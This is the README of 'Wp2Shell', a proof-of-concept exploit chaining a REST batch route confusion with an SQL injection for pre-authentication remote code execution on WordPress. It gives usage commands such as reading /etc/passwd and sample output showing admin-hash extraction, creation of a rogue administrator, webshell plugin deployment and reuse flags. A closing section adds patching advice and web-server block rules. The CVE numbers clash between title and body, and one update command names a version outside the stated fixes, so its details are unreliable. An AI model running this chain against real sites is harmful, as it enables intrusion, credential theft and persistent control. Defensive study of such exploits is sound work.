
Wp2Shell用エクスプロイトPOC、CVE-2026-63030 + CVE-2026-63137
WordPress Core における事前認証リモートコード実行。
CVE-2026-60137(WP_Query の SQL インジェクション)と CVE-2026-63030(REST API バッチルート混乱)を連鎖させます。
教育および許可されたセキュリティ研究のみを目的としています。
WordPress 6.9.0 から 6.9.4、および 7.0.0 から 7.0.1 が影響を受けます。 修正版は 6.9.5 と 7.0.2 です。
このエクスプロイトは 2 つの脆弱性を連鎖させます。
CVE-2026-63030 — バッチルート混乱。 /wp-json/batch/v1(または /?rest_route=/batch/v1)の REST API バッチエンドポイントは、サブリクエストを 2 段階で処理します。まず各パスをハンドラにマッチさせ、その後、マッチした各リクエストをそのハンドラへディスパッチします。故意に不正な形式のパス(///)が最初のサブリクエストとして挿入されると、WordPress はマッチ済みルート配列のインデックス 0 に WP_Error を格納します。これにより、以降のすべてのハンドラ割り当てが 1 つずつずれます。ディスパッチループは各リクエストを誤ったハンドラとペアリングするため、スキーマ A で検証されたリクエストがハンドラ B によって実行され、スキーマ A が強制していたパラメータのサニタイズが回避されます。
CVE-2026-60137 — WP_Query の SQL インジェクション。 投稿コレクションエンドポイントは author_exclude パラメータを受け入れ、そのスキーマは整数型の配列値を強制し、WP_Query に到達する前に各要素を absint() でサニタイズします。バッチのデシンクにより、このパラメータはスキーマ検証を完全にバイパスし、生の文字列として WP_Query の author__not_in ロジックに到達します。absint() は is_array() ブランチ内でのみ適用されるため、生の文字列が直接 SQL の WHERE 句に補間され、UNION SELECT インジェクションが可能になります。
完全なチェーンは次の 4 つのステップで進行します。
UNION SELECT 行を介して、データベースバージョン、ユーザー、テーブルプレフィックス、管理者資格情報を抽出する。wp_posts 行を注入して oEmbed キャッシュを汚染し、WP_Customize_Manager の変更セット公開フックをトリガーして、role=administrator で wp_insert_user() を呼び出させることで、新しい管理者アカウントを作成する。git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
pip install は不要です。
4 つのステップすべてを実行します: デシンク確認、SQL 偵察、管理者作成、ウェブシェル展開。実行のたびに新しい管理者アカウントとプラグインが作成されます。
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
自己署名証明書を持つ HTTPS ターゲットの場合:
python3 exploit.py --url https://TARGET --command "id" --insecure
完全チェーンの実行が完了すると、スクリプトは展開済みの資格情報とシェルパスを事前に入力した、すぐに使える再利用コマンドを出力します。以降の実行では、これら 3 つのフラグを渡すことで、SQL および管理者作成フェーズを完全にスキップできます:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
--admin-* 系 3 つのフラグと --prev-webshell-plugin は、すべてまとめて指定するか、すべて省略するかのどちらかにする必要があります。
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
直ちに修正版へ更新してください。
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6直ちにパッチを適用できない場合は、Web サーバーまたは WAF 層でバッチエンドポイントの両方の URL 形式をブロックしてください。両方のルートをブロックする必要があります。プリティパーマリンク形式のみをカバーするルールでは、クエリ文字列形式が開放されたままになります:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
または、必須プラグインを使用して WordPress 内部からエンドポイントを無効化します:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
パッチ適用前のすべての対策は一時的な橋渡しに過ぎないものとして扱ってください。できるだけ早くパッチを適用し、その後、インターネットに公開されているすべてのインスタンスでインストール済みバージョンを確認してください。
このツールは教育目的および許可された侵入テストのみのために提供されています。システム所有者からの明示的な事前の書面による許可なしに、いかなるシステムに対してもこれを実行することは違法です。著者は、いかなる不正使用に対しても責任を負いません。
| Flag | Short | Description |
|---|
--url | -u | 対象WordPressのベースURL。デフォルト: http://localhost:8080 |
--command | -c | 実行するOSコマンド。デフォルト: id |
--insecure | -k | 自己署名証明書に対するTLS証明書の検証を無効化 |
--admin-user | 再利用モード: 以前に作成された管理者ユーザー名 | |
--admin-password | 再利用モード: 以前に作成された管理者パスワード | |
--prev-webshell-plugin | 再利用モード: すでに展開済みのウェブシェルプラグインへのWebパス |